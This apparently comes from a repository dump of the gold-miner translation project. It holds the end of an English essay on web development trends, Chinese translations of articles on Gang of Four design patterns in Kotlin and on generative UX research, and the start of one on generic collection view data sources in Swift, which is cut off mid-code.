libraries. These things are becoming a standard part of the process for web projects. They will probably become the main deliverable. A system can build whatever is needed. The concept of "pages" is going away. Components are pieced together to build what users see. That piecing together can be done by UX folks, interaction designers, even marketing. New JavaScript accommodates this very well. ### The line between native and web is blurring. Which is better, Sketch or Figma? We judge them by their features, not by the fact that one is a native app and one is a web app. Should I use the Slack or TweetDeck native app, or just open a tab? It's identical either way. Sometimes a web app is so good, I wish it was native just so it could be an icon in my dock and have persistent login, so I use things like Mailplane for Gmail and Paws for Trello. I regularly use apps that seem like they would _need_ to be native apps, but turn to be just as good or better on the web. Just looking at audio/video apps, Skype has a full-featured app, Lightstream is a full-on livestreaming studio, and Zencaster can record multi-track high-quality audio. All of those are right in the browser. Those are just examples of _doing a good job_ on the web. Web technology itself is stepping up hugely here as well. Service workers give us important things like offline ability and push notifications. Web Audio API. Web Payments API. The web should become the dominant platform for building apps. Users will use things that are good, and not consider or care how it was built. ### URLs are still a killer feature. The web really got this one right. Having a universal way to jump right to looking at a specific thing is incredible. URLs make search engines possible, potentially one of the most important human innovations ever. URLs makes sharing and bookmarking possible. URLs are a level playing field for marketing. Anybody can visit a URL, there is no gatekeeper. ### Performance is a key player. Tolerance for poorly performing websites is going to go down. Everyone will expect everything to be near-instant. Sites that aren't will be embarrassing. ### CSS will get much more modular. When we write styles, we will always make a choice. Is this a global style? Am I, on purpose, leaking this style across the entire site? Or, am I writing CSS that is specific to this component? CSS will be split in half between these two. Component-specific styles will be scoped and bundled with the component and used as needed. ### CSS preprocessing will slowly fade away. Many of the killer features of preprocessors have already made it into CSS (variables), or can be handled better by more advanced build processes (imports). The tools that we'll ultimately use to modularize and scope our CSS are still, in a sense, CSS preprocessors, so they may take over the job of whatever is left of preprocessing necessity. Of the standard set of current preprocessors, I would think the main one we will miss is mixins. If native CSS stepped up to implement mixins (maybe @apply) and extends (maybe @extend), that would quicken the deprecation of today's crop of preprocessors. ### Being good at HTML and CSS remains vital. The way HTML is constructed and how it ends up in the DOM will continue to change. But you'll still need to know what good HTML looks like. You'll need to know how to structure HTML in such a way that is useful for you, accessible for users, and accomodating to styling. The way CSS lands in the browser and how it is applied will continue to change, but you'll still need to how to use it. You'll need to know how to accomplish layouts, manage spacing, adjust typography, and be tasteful, as we always have. ### Build processes will get competitive. Because performance matters so much and there is so much opportunity to get clever with performance, we'll see innovation in getting our code bases to production. Tools like webpack (tree shaking, code splitting) are already doing a lot here, but there is plenty of room to let automated tools work magic on how our code ultimately gets shipped to browsers. Optimizing first payloads. Shipping assets in order of how critical they are. Deciding what gets sent where and how. Shipping nothing whatsoever that isn't used. As the web platform evolves (e.g. Client Hints), build processes will adjust and best practices will evolve with it, like they always have. --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/gang-of-four-patterns-in-kotlin.md ================================================ > * 原文地址:[Gang of Four Patterns in Kotlin](https://dev.to/lovis/gang-of-four-patterns-in-kotlin) > * 原文作者:[Lovis](https://dev.to/lovis) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[Boiler Yao](https://github.com/boileryao) > * 校对者:[windmxf](https://github.com/windmxf), [wilsonandusa](https://github.com/wilsonandusa) Kotlin 正在得到越来越广泛的应用。如果把常用的设计模式用 Kotlin 来实现会是什么样子呢? 受到 Mario Fusco 的“从‘四人帮’到 lambda”(相关的[视频](https://www.youtube.com/watch?v=Rmer37g9AZM)、[博客](https://www.voxxed.com/blog/2016/04/gang-four-patterns-functional-light-part-1/)、[代码](https://github.com/mariofusco/from-gof-to-lambda))的启发,我决定动手实现一些计算机科学领域最著名的设计模式,用 “Kotlin”!(“四人帮”指 Erich Gamma、Richard Helm、Ralph Johnson 和 John Vlissides,四人在所著的《Design Patterns: Elements of Reusable Object-Oriented Software 》一书中介绍了 23 种设计模式,该书被誉为设计模式的经典之作。——译注) 当然,我的目标不是简单的 **实现** 这些模式。因为 Kotlin 支持面向对象编程并且和 Java 是可互操作的,我可以从 Mario 的仓库直接复制粘贴每一个 Java 文件(先不管是“传统”的还是“lambda 风格”的),**它们将仍然可以正常工作**! 需要特别说明一下,这些模式的发明是为了弥补起源于上世纪九十年代的一些命令式编程语言(尤其是 C++)的不足。很多现代编程语言提供了解决这些不足的特性,我们完全不需要再写多余的代码或者做刻意模仿设计模式这种事了。 这就是为什么我像 Mario (相关仓库地址:[gof](https://github.com/mariofusco/from-gof-to-lambda))那样,去寻找一种更简单方便、更惯用的方式来解决这些模式所要解决的问题。 如果不想看下面这坨说明文字的话,你可以直接去 [这个 GitHub 仓库](https://github.com/lmller/gof-in-kotlin) 看代码。 --- 众所周知,根据“四人帮”的定义设计模式可以分为三种: **结构型**、**创建型** 和 **行为型**。 一开始,我们先来看结构型设计模式。这不是很好搞,因为结构型设计模式是关于结构的。怎样用一个 **不同** 的结构来实现这个结构呢,臣妾做不到啊。不过, **装饰器模式** 是个例外。虽然在技术层面来说算是结构型,但就使用来说,更多是和行为及职责有关的(装饰器模式,每个负责进行包装的类具有增加某一行为这一职责。——译注)。 ### 结构型设计模式 #### 装饰器模式(Decorator) > 动态地给对象添加行为(职责) 假设我们想用一些特效(duang)来装饰 `Text` 这个类: ``` class Text(val text: String) { fun draw() = print(text) } ``` 如果了解这个模式的话,你应该知道我们需要创建一些类来“修饰”(即,拓展行 为) `Text` 类。 在 Kotlin 中,我们可以用 **函数拓展(extension functions)** 来避免创建这么一大坨类: ``` fun Text.underline(decorated: Text.() -> Unit) { print("_") this.decorated() print("_") } fun Text.background(decorated: Text.() -> Unit) { print("\u001B[43m") this.decorated() print("\u001B[0m") } ``` 有了这些拓展函数,我们现在可以实例化一个 `Text` 对象,并且在不创建其他类的情况下来修饰它的 `draw` 方法: ``` Text("Hello").run { background { underline { draw() } } } ``` 运行这段代码,你会看见带有彩色背景的“\_Hello\_”(如果终端支持 ansi 颜色的话)。 跟原本的装饰者相比,这里有一个不足:由于没有用来装饰的类了,所以我们不能使用“预装饰”过的对象了。 可以再次使用函数来解决这个问题,函数是 Kotlin 中的“一等公民”。我们可以这样写: ``` fun preDecorated(decorated: Text.() -> Unit): Text.() -> Unit { return { background { underline { decorated() } } } } ``` ### 创建型设计模式 #### Builder 模式 > 将复杂对象的构造与其表示分开,以便相同的构造过程可以创建不同形式的对象 **Builder** 模式很好用,可以避免臃肿的构造函数参数列表,还能方便地复用预先定义好的配置对象的代码。 Kotlin 的 `apply` 扩展原生支持 Builder 模式。 假设有一个 `Car` 类: ``` class Car() { var color: String = "red" var doors = 3 } ``` 除了为这个类单独创建一个 `CarBuilder` ,我们可以使用 `apply`(`also` 也行)拓展来初始化一辆车: ``` Car().apply { color = "yellow" doors = 5 } ``` 由于函数可以赋值给一个变量,所以这个初始化过程也可以放在一个变量里。这样,我们就有了一个预先定义好的 **Builder** “函数”,比如 `val yellowCar: Car.() -> Unit = { color = "yellow" }` #### 原型模式(Prototype) > 使用原型化的实例指定要创建的对象的种类,并通过复制此实例来创建特定的新对象 在 Java 中,原型模式理论上可以用 `Cloneable` 接口和 `Object.clone()` 来实现。然而,[`clone` 有很大的不足](http://www.artima.com/intv/bloch13.html),所以我们应该避免使用它。 Kotlin 用数据类(data classes)提供了解决方案。 当使用数据类的时候,我们将免费得到 `equals`、`hashCode`、`toString` 和 `copy` 这几个函数。通过 `copy`,我们可以复制一整个对象并且修改所得到的新对象的一些属性。 ``` data class EMail(var recipient: String, var subject: String?, var message: String?) ... val mail = EMail("abc@example.com", "Hello", "Don't know what to write.") val copy = mail.copy(recipient = "other@example.com") println("Email1 goes to " + mail.recipient + " with subject " + mail.subject) println("Email2 goes to " + copy.recipient + " with subject " + copy.subject) ``` #### 单例模式(Singleton) > 确保一个类只有一个实例,并提供这个实例的全局访问点 尽管近来 **单例模式** 被认为是“反设计模式的”,但是它也有自己独特的用处(本文不会讨论这个话题,只是战战克克克克的来使用它)。 在 Java 中创建 **单例** 还是需要一番操作的,但是在 Kotlin 中只需要简单的使用 **`object`** 声明就可以了。 ``` object Dictionary { fun addDefinition(word: String, definition: String) { definitions.put(word.toLowerCase(), definition) } fun getDefinition(word: String): String { return definitions[word.toLowerCase()] ?: "" } } ``` 这里使用的 `object` 关键词会自动创建出 `Dictionary` 这个类以及它的一个单例。这个单例以“懒汉模式”创建,用到它时才会进行创建。 单例的访问方式和 Java 的静态方法差不多: ``` val word = "kotlin" Dictionary.addDefinition(word, "an awesome programming language created by JetBrains") println(word + " is " + Dictionary.getDefinition(word)) ``` ### 行为型设计模式 #### 模板方法(Template Method) > 在操作中定义算法(步骤)的骨架,将一些步骤委托给子类 这个设计模式同时用到了类的继承。定义一些 `抽象方法` 并且在基类调用这些方法。抽象方法由子类负责实现。 ``` //java public abstract class Task { protected abstract void work(); public void execute(){ beforeWork(); work(); afterWork(); } } ``` 现在从 `Task` 派生出一个在 `work` 方法中真正做了事情的具体类。 和 **装饰器模式** 使用函数拓展类似,这里的 **模板方法** 通过顶层函数实现。 ``` //kotlin fun execute(task: () -> Unit) { val startTime = System.currentTimeMillis() //"beforeWork()" task() println("Work took ${System.currentTimeMillis() - startTime} millis") //"afterWork()" } ... //usage: execute { println("I'm working here!") } ``` 看,根本没有必要写任何类!有人可能会有疑问,这不是 **策略模式** 吗,这个疑问不无道理。从另一方面来看,**策略模式** 和 **模板方法** 确实在解决很相似的问题(如果有什么不同)。 #### 策略模式(Strategy) > 定义一系列算法,封装每个算法,并使它们可以互换 有一些 `Customer` ,他们每个月都要付一笔特定的费用。对于某些特定的人,这笔费用可以打折。我们不去为每种打折 **策略** 都去写一个对应的 `Customer` 子类,而是采用 **策略模式**。 ``` class Customer(val name: String, val fee: Double, val discount: (Double) -> Double) { fun pricePerMonth(): Double { return discount(fee) } } ``` 注意这里没有使用接口,而是使用 `(Double) -> Double` (Double 到 Double)的函数来替代。为了使这个变换看上去有意义,我们可以声明一个类型别名,这样也不失高阶函数的灵活性: `typealias Discount = (Double) -> Double`. 无论哪种方式,我都可以定义多种 **策略** 来计算折扣。 ``` val studentDiscount = { fee: Double -> fee/2 } val noDiscount = { fee: Double -> fee } ... val student = Customer("Ned", 10.0, studentDiscount) val regular = Customer("John", 10.0, noDiscount) println("${student.name} pays %.2f per month".format(student.pricePerMonth())) println("${regular.name} pays %.2f per month".format(regular.pricePerMonth())) ``` #### 迭代器模式(Iterator) > 提供了一种在不暴露其底层表示的情况下顺序访问聚合对象内部元素的方法 其实很难遇到需要手搓一个 **迭代器** 的情况。大多数情况,包装一个 `List` 并且实现 `Iterable`接口要更简单方便。 在 Kotlin 中, `iterator()` 是个操作符函数。这意味着当一个类定义了 `operator fun iterator()` 这个函数后,可以使用 `for` 循环来遍历它(不需要声明接口)。这个函数也能通过拓展函数配合使用,这是很酷炫的。 通过拓展函数,我们可以让 **每一个** 对象都是可迭代的。看下面这个例子: ``` class Sentence(val words: List) ... operator fun Sentence.iterator(): Iterator = words.iterator() ``` 现在我们可以在 `Sentence` 上进行迭代操作了。如果没有这个类的控制权的话,迭代器仍然将正常工作。 ### 更多的模式…… 这篇文章确实提到了相当几个设计模式,但这不是 **“四人帮”** 设计模式的全部。就像我在一开始提到的那样,尤其是结构型设计模式很难甚至根本不可能用和 Java 不同的方法来实现。 你可以在 [这个代码仓库](https://github.com/lmller/gof-in-kotlin) 找到更多的设计模式。欢迎来提交反馈和 PR。☺ 希望这篇文章能给你些启发,让你认识到 Kotlin 可以为广为人知的问题带来的新的解决方案。 最后我想说的是,仓库中的代码量大概有 ⅓ 的 Kotlin 和 ⅔ 的 Java,虽然这两部分代码干了同样的事情🙃 --- 封面图片来自 [stocksnap.io](stocksnap.io) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/generative-research-ux.md ================================================ > * 原文地址:[USE THESE POWERFUL RESEARCH TECHNIQUES TO UNDERSTAND WHAT MOTIVATES YOUR USERS](http://blog.invisionapp.com/generative-research-ux/) * 原文作者:[Misael Leon](https://twitter.com/misaello) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[王子建](https://github.com/Romeo0906) * 校对者:[Mark](https://github.com/marcmoore)、[Will Wu](https://github.com/Airmacho) # 使用强大的调查技巧了解用户的动机 我们需要用户的意见才能创造人们喜闻乐见的产品——那些他们乐意使用和消费的产品。你可以利用问卷调查的形式来禅师理解用户的动机,但问题是[调查问卷](http://blog.invisionapp.com/how-to-create-a-survey/)不够灵活并且也不能获取用户的核心情绪。 解决办法:生产性调研。 [行和言之间始终存在着差异](https://twitter.com/intent/tweet?text=%22There%27s+always+a+gap+between+what+we+say+and+what+we+do%22+http%3A%2F%2Fblog.invisionapp.com%2Fgenerative-research-ux%2F+via+%40InVisionApp)——人的天性如此,但动手实践解锁了用户头脑中主观能动性的部分,因此生产性调研能透过感知获取更深层次的人性体验。 ## [如何利用我们 UX 设计课程中的免费部分来赢得 UX 的冠军](https://www.invisionapp.com/ecourses/principles-of-ux-design) [Elizabeth B.-N. Sanders 写道](http://www.maketools.com/articles-papers/FromUsercenteredtoParticipatory_Sanders_%2002.pdf)(链接文档为 PDF 格式),“同时从这三个角度(做什么、说什么和得到什么)出发,你会更容易理解他人,也更容易与与使用者产生共鸣。” [![generative-framework](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/generative-framework.jpg?ver=1)](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/generative-framework.jpg) ## 通过动手实践的方式在谈话中获益 1. 洗耳恭听并且达到共识 2. 自然而然地打开话匣子并达成强烈共识 3. 获取丰富的用户动机和用户预期 4. 探索如何让故事有丰富的细节并极具感染力 5. 从参与者的个人见识中获取信息 6. 感同身受地提出并达成解决方案 ## 实践类型 生产性调研中很酷的地方就在于它只是一种模式,是一种思考和[指导调研](http://blog.invisionapp.com/how-to-conduct-yourself-in-a-ux-research-session/)的方式,它包含很多种类型的实践。我们一起来看一下: [“动手实践创造了一架桥梁,由表及里地连通了人类的体验。”](https://twitter.com/intent/tweet?text=%22Exercises+create+a+bridge+from+the+superficial+to+the+deeper+levels+of+human+experience.%22+http%3A%2F%2Fblog.invisionapp.com%2Fgenerative-research-ux%2F+via+%40InVisionApp) **列清单** 这项活动主要是给定一些内容,并要求参与者搜集相关的想法。你能获得他们的第一反应,那都是很有价值的,因为那对他们来说是最重要的事。列清单的方式很简单,但也可能会包含非常多值得讨论的内容。 [![image-2-lists](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-2-lists.jpg?ver=1)](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-2-lists.jpg) 列清单的方式主要用来: 1. 收集同一类型的元素(比如:做什么类型的晚饭) 2. 围绕一个主题收集用户的感受和需求 3. 清点物品(比如:我盥洗室的橱柜里都有什么) 4. 获取一天的日程安排 **完成句子** 这项活动中,你需要让参与者来继续完成一些句子。这个方法很棒,它不仅可以获取参与者内心与当前观念的互动,而且简单易行,同时还能开启一场引人入胜的谈话。 [![image-3-mad-lib](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-3-mad-lib.jpg?ver=1)](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-3-mad-lib.jpg) 完成句子的方式主要用来: 1. 获取用户对某个话题的评估、互动、需求和偏好 2. 在互动中收集用户对特定观点的理解 3. 激发主观能动性获取用户态度 **卡牌分类** 卡牌分类活动中,你需要准备一些卡牌,上面有既定的内容或者其他特征,然后要求参与者将相关的卡牌分组,其结果能帮助你增加系统的可检索性。 [![image-4-sort](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-4-sort.jpg?ver=1)](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-4-sort.jpg) 通过卡牌分类的方式你可以做到如下几点: 1. 探索和定义多个不同的类别 2. 理解多个元素之间的联系,从而帮助洞悉用户的想法和思路 3. 获取用户偏好和优先级(当参与者对元素评级排序的时候) 4. 记住一些故事(当用户对图像做选择或者分类的时候) **动手做** 这种活动项目品类繁多,但万变不离其宗。它们旨在给用户提供一些可以自由物品来表达自我,这极大地帮助了用户实现一些复杂的主观想法,比如对未来和健康问题的思索。 一些可选的活动: 1. 绘画 2. 拼图 3. 雕塑、塑像 4. 建模(比如:利用积木或者裁纸建模) 要记住,这项活动中参与者需要大量的时间来创造和表达自我。 [![image-5-make](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-5-make.jpg?ver=1)](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-5-make.jpg) **适用于:** 1. 表达难以具象化的观点 2. 抓住用户的情绪和感知 3. 生成关于未来的画面 [“为了得到有意义的解决方案,我们必须要了解受众的感情变化。”](https://twitter.com/intent/tweet?text=%22To+create+meaningful+solutions+we+must+understand+the+emotional+range+of+our+audience.%22+http%3A%2F%2Fblog.invisionapp.com%2Fgenerative-research-ux%2F+via+%40InVisionApp) ## 设计应以人为本 [客户已经不再是被动的消费者了。](https://twitter.com/intent/tweet?text=%22Customers+are+no+longer+passive+consumers.%22+http%3A%2F%2Fblog.invisionapp.com%2Fgenerative-research-ux%2F+via+%40InVisionApp)为了得到有意义的解决方案,我们必须要了解受众的感情变化。 我们可以通过动手实践的方式来深入了解用户的内心感受,如果我们能够与之[产生共鸣](http://blog.invisionapp.com/building-user-empathy/),就能把握住机会设计一款适合用户生活方式的产品。 [“设计应以人为本。”](https://twitter.com/intent/tweet?text=%22Design+is+all+about+people.%22+http%3A%2F%2Fblog.invisionapp.com%2Fgenerative-research-ux%2F+via+%40InVisionApp) 生产性的调研技巧将会帮助你探索用户问题中的细微差别并创造解决方案。可不要忘了,鞋子合不合适只有脚知道。 正如乔布斯所言:“客户不会告诉你他们真正需要的是什么。” ================================================ FILE: TODO/generic-data-sources-in-swift.md ================================================ > * 原文地址:[Generic Data Sources in Swift](https://medium.com/capital-one-developers/generic-data-sources-in-swift-c6fbb531520e) > * 原文作者:[Andrea Prearo](https://medium.com/@andrea.prearo) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/generic-data-sources-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO/generic-data-sources-in-swift.md) > * 译者:[Swants](https://swants.github.io) > * 校对者:[iOSleep](https://github.com/iOSleep) # Swift 中的通用数据源 ![](https://cdn-images-1.medium.com/max/1600/1*Lv_C7Y7otRuJyQb5_v35Pw.gif) 在我开发的绝大多数 iOS app 中, tableView 和 collectionView 绝对是最常用的 UI 组件。鉴于设置一个 tableView 或 collectionView 需要大量样板代码,我最近花了些时间找到一个比较好的方法,去避免一遍又一遍地重复同样的代码。我的主要工作是对必需的样板代码进行抽取封装。随着时间的推移,很多其他开发者也解决了这个问题。并且随着 [Swift](https://github.com/apple/swift/blob/master/CHANGELOG.md) 的最新进展出现了很多有趣的解决方案。 本篇文章里,我将介绍在我 APP 里已经使用了一段时间的解决方案,这个方案让我在设置 collectionView 的时候减少了大量的样板代码。 ### TableView vs CollectionView 有些人可能会问 **为什么单讨论 collectionView 而不提 tableView 呢?** 在最近的几个月里,我在之前可以使用 tableView 的地方都使用成了 collectionView 。它们到目前为止表现良好!这一做法帮助我不用去区分这两个 **几乎完全** 相似但并不完全相同的集合概念。接下来则是让我做出这一决定的根本原因: - 任何 tableView 都可以用单列的 collectionView 进行实现/重构。 - tableView 在大屏幕上(如:iPad )表现的不是特别好。 需要说明的是,我没有建议你把代码库里所有的 tableView 都用 collectionView 重新实现。我建议的是,当你需要添加一个展示列表的新功能时,你应该考虑下使用 collectionView 来代替 tableView 。尤其是在你开发一个 Universal APP 时,因为 collectionView 将让你的 APP 在所有尺寸屏幕上动态调整布局变得更简单。 ### Swift 泛型与有效抽取的探索 我一直是泛型编程的拥趸,所以你能想象的到当苹果宣布在 Swift 中引进泛型时,我是多么的兴奋。但是泛型和协议结合有时并不合作的那么和谐。这时 Swift 2.x 中关于 [关联类型](https://www.natashatherobot.com/swift-what-are-protocols-with-associated-types/) 的介绍让使用泛型协议变得更加简单,越来越多的开发者开始去尝试使用它们。 我打算展示的代码抽取是基于对泛型使用的尝试,尤其是泛型协议。这样的代码抽取能够让我对设置 collectionView 所需的样板代码进行封装,从而减少设置数据源所需的代码,甚至在一些简单的使用场景两行代码就足够了。 我想说明下我所创建的不是通解。我做的代码封装针对于解决一些特定使用场景。对于这些场景来说,使用抽取封装后的代码效果非常好。对于一些复杂的使用场景,可能就需要添加额外的代码了。我把抽取工作主要放在了 collectionView 最常用的功能。如果需要的话,你可以封装更多的功能,但是对于我的特定场景来说,这并不是必需的。 作为本篇文章的目的,我将会展示一部分抽取代码来概括使用 collectionView 时常用的功能。这将是你了解使用泛型,尤其是泛型协议能够来做什么的一个好的机会。 ### Collection View Cell 抽取 首先,我实现 collectionView 通常都是先创建展示数据的 cell 。处理 collectionView 的 cell 时通常需要: - 重用 cell - 配置 cell 为了简化上面的工作,我写了两个协议: - ***ReusableCell*** - ***ConfigurableCell*** 让我们详细地看一下这两个抽取后代码吧。 ### ReusableCell 这个 **ReusableCell** 协议需要你定义一个 **重用标识符** ,这个标志符将在重用 cell 的时候被用到。在我的 APP 里,我总是图方便把 cell 的重用标识符设置为和 cell 的类名一样。因此,很容易通过创建一个协议扩展来抽取出,让 **reuseIdentifier** 返回一个带有类名称的字符串: ``` public protocol ReusableCell { static var reuseIdentifier: String { get } } public extension ReusableCell { static var reuseIdentifier: String { return String(describing: self) } } ``` ### ConfigurableCell 这个 **ConfigurableCell** 协议需要你实现一个方法,这个方法将使用特定类型的实例配置 cell ,而这个实例被定义成了一个泛型类型 **T**: ``` public protocol ConfigurableCell: ReusableCell { associatedtype T func configure(_ item: T, at indexPath: IndexPath) } ``` 这个 **ConfigurableCell** 协议将会在加载 cell 内容的时候被调用。接下来我会详细介绍一些细节,现在我就强调下一些地方: 1. **ConfigurableCell** 继承 **ReusableCell** 2. 绑定类型的使用( **绑定类型 T** )将 **ConfigurableCell** 定义为泛型协议。 ### 数据源的抽取: CollectionDataProvider 现在,让我们把目光收回,再回想下设置 collection view 都需要做些什么。为了让 collection view 展示内容,我们需要遵循 **UICollectionViewDataSource** 协议。那么最先要做的常常是确定下来这些: - 需要几组:**numberOfSections(in:)** - 每组需要几行:**collectionView(_:numberOfItemsInSection:)** - cell 的内容怎么加载 :**collectionView(_:cellForItemAt:)** 将上述代理方法实现,会确保我们能够对指定 collectionView 的 cell 进行展示 。而对于我来说,这里是非常适合进行代码抽取的地方。 为了抽取和封装上述步骤,我创建了以下泛型协议: ``` public protocol CollectionDataProvider { associatedtype T func numberOfSections() -> Int func numberOfItems(in section: Int) -> Int func item(at indexPath: IndexPath) -> T? func updateItem(at indexPath: IndexPath, value: T) } ``` 这个协议前三个方法是: - ***numberOfSections()*** - ***numberOfItems(in:)*** - ***item(at:)*** 他们指明了遵循 **UICollectionViewDataSource** 协议需要实现的代理方法列表。基于我有过一些当用户交互后需要更新数据源的使用场景,我在最后又加了一个 **(updateItem(at:, value:))** 方法。这个方法允许你在需要的时候更新底层数据。到这里,在 **CollectionDataProvider** 定义的方法满足了遵循 **UICollectionViewDataSource** 协议时需要实现的常用功能。 ### 封装样板: CollectionDataSource 通过上面的抽取,现在可以开始实现一个基类,这个基类将被封装为 collectionView 创建数据源所需的常用样板。这就是最神奇地方!这个类的主要作用就是利用特定的 **CollectionDataProvider** 和 **UICollectionViewCell** 来满足遵循 **UICollectionViewDataSource** 协议所需要实现的方法。 这是这个类的定义: ``` open class CollectionDataSource: NSObject, UICollectionViewDataSource, UICollectionViewDelegate, where Cell: ConfigurableCell, Provider.T == Cell.T { [...] } ``` 它为我们做了很多事: 1. 这个类有一个公有属性,让我们能够将它扩展为指定 CollectionDataProvider 提供正确的实现。 2. 这是一个泛型的类,所以它需要特定的 **Provider (CollectionDataProvider)** 和 Cell **(UICollectionViewCell)** 对象进一步的定义来使用。 3. 这个类继承于 **NSObject** 基类,所以能够遵循 **UICollectionViewDataSource** 和 **UICollectionViewDelegate** 来进行抽取封装样板代码。 4. 这个类在以下场景使用的时候有一些特定限制: - **UICollectionViewCell** 必须遵循 **ConfigurableCell** 协议。( **Cell:** **ConfigurableCell** ) - 特定类型 **T** 必须和 cell 跟 Provider 的 **T** 相同 (**Provider.T == Cell.T**)。 代码需要像下面一样对 **CollectionDataSource** 进行初始化和设置: ``` // MARK: - Private Properties let provider: Provider let collectionView: UICollectionView // MARK: - Lifecycle init(collectionView: UICollectionView, provider: Provider) { self.collectionView = collectionView self.provider = provider super.init() setUp() } func setUp() { collectionView.dataSource = self collectionView.delegate = self } ``` 代码是非常简单的:**CollectionDataSource** 需要知道它将针对哪个 collectionView 对象,将根据哪个作为数据提供者。这些问题都是通过 **init** 方法的参数进行传递确定的。在初始化的过程中,**CollectionDataSource** 将自己设置为 **UICollectionViewDataSource** 和 **UICollectionViewDelegate** 的代理对象(在 **setUp** 方法中)。 现在让我们看一下 **UICollectionViewDataSource** 代理的样板代码。 这是代码: ``` // MARK: - UICollectionViewDataSource public func numberOfSections(in collectionView: UICollectionView) -> Int { return provider.numberOfSections() } public func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int { return provider.numberOfItems(in: section) } open func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell { guard let cell = collectionView.dequeueReusableCell(withReuseIdentifier: Cell.reuseIdentifier, for: indexPath) as? Cell else { return UICollectionViewCell() } let item = provider.item(at: indexPath) if let item = item { cell.configure(item, at: indexPath) } return cell } ``` 上面的代码片段通过 **CollectionDataProvider** 的一个对象展示了 **UICollectionViewDataSource** 代理的主要实现,就像之前所说的那样,它封装了数据源实现的所有细节。每个代理都使用指定的 **CollectionDataProvider** 方法来抽取跟数据源之间进行交互。 注意 **collectionView(_:cellForItemAt:)** 方法有一个公开的属性,这就能够让它的任何子类在需要对 cell 内容进行更多定制化的时候进行扩展。 现在对 collectionView cell 展示的功能已经做好了,让我们再为它添加更多的功能吧。 而作为第一个要添加的功能,用户应该能够在点击 cell 的时候触发某些操作。为了实现这个功能,一个简单的方案就是定义一个简单的 closure,并对这个 closure 初始化,当用户点击 cell 的时候执行这个 closure 。 处理 cell 点击的自定义 closure 如下所示: ``` public typealias CollectionItemSelectionHandlerType = (IndexPath) -> Void ``` 现在,我们能定义个属性来存储这个 closure ,当用户点击这个 cell 的时候就会在 **UICollectionViewDelegate** 的 **collectionView(_:didSelectItemAt:)** 代理方法实现中执行这个初始化好的 closure 。 ``` // MARK: - Delegates public var collectionItemSelectionHandler: CollectionItemSelectionHandlerType? // MARK: - UICollectionViewDelegate public func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) { collectionItemSelectionHandler?(indexPath) } ``` 作为第二个要添加的功能,我打算在 **CollectionDataSource** 中对多组组头和组的一些代码样板进行封装。这就需要实现 **UICollectionViewDataSource** 的代理方法 **viewForSupplementaryElementOfKind** 。为了能够让子类自定义的实现 **viewForSupplementaryElementOfKind** ,这个代理方法需要定义为公开方法,以便让任何子类能够对这个方法进行重写。 ``` open func collectionView(_ collectionView: UICollectionView, viewForSupplementaryElementOfKind kind: String, at indexPath: IndexPath) -> UICollectionReusableView { return UICollectionReusableView(frame: CGRect.zero) } ``` 通常来说,这种方式适用于所有的代理方法,当他们需要被子类重写覆盖时,这些方法需要定义为公有方法,并在 **CollectionDataSource** 中实现。 另一种不同的解决方案就是使用一个自定义的 closure ,就像在 **(CollectionItemSelectionHandlerType)** 方法中处理 cell 点击事件一样。 我实现的这个特定方面是软件工程中的一个典型的权衡,一方面 —— 为 collectionView 设置数据源的主要细节都被隐藏(被抽取封装)。另一方面 —— 封装的样板代码中没有提供的功能,就会变得不能开箱即用,添加新的功能并不复杂,但是需要像我上面两个例子那样,需要实现更多的自定义代码。 ### 实现一个具体的 CollectionDataProvider 也就是 ArrayDataProvider 现在样板代码已经设置好了,collectionView 的数据源由 **CollectionDataSource** 负责。让我们通过一个普通的使用案例来看看样板代码用起来有多方便。为了做这个,**CollectionDataSource** 对象需要提供 **CollectionDataProvider** 具体的实现。一个覆盖大多数常见使用案例的基本实现,可以简单地使用二维数组来包含展示 collectionView cell 内容的数据 。作为我对数据源抽象的试验的一部分,我使这个实现变得更加通用,并且能够表示: - 二维数组,每一个数组元素代表 collectionView 一组 cell 的内容。 - 数组,表示 collectionView 只有一组 cell 的内容(没有组头)。 上面的代码实现都包含在泛型类 **ArrayDataProvider** 中: ``` public class ArrayDataProvider: CollectionDataProvider { // MARK: - Internal Properties var items: [[T]] = [] // MARK: - Lifecycle init(array: [[T]]) { items = array } // MARK: - CollectionDataProvider public func numberOfSections() -> Int { return items.count } public func 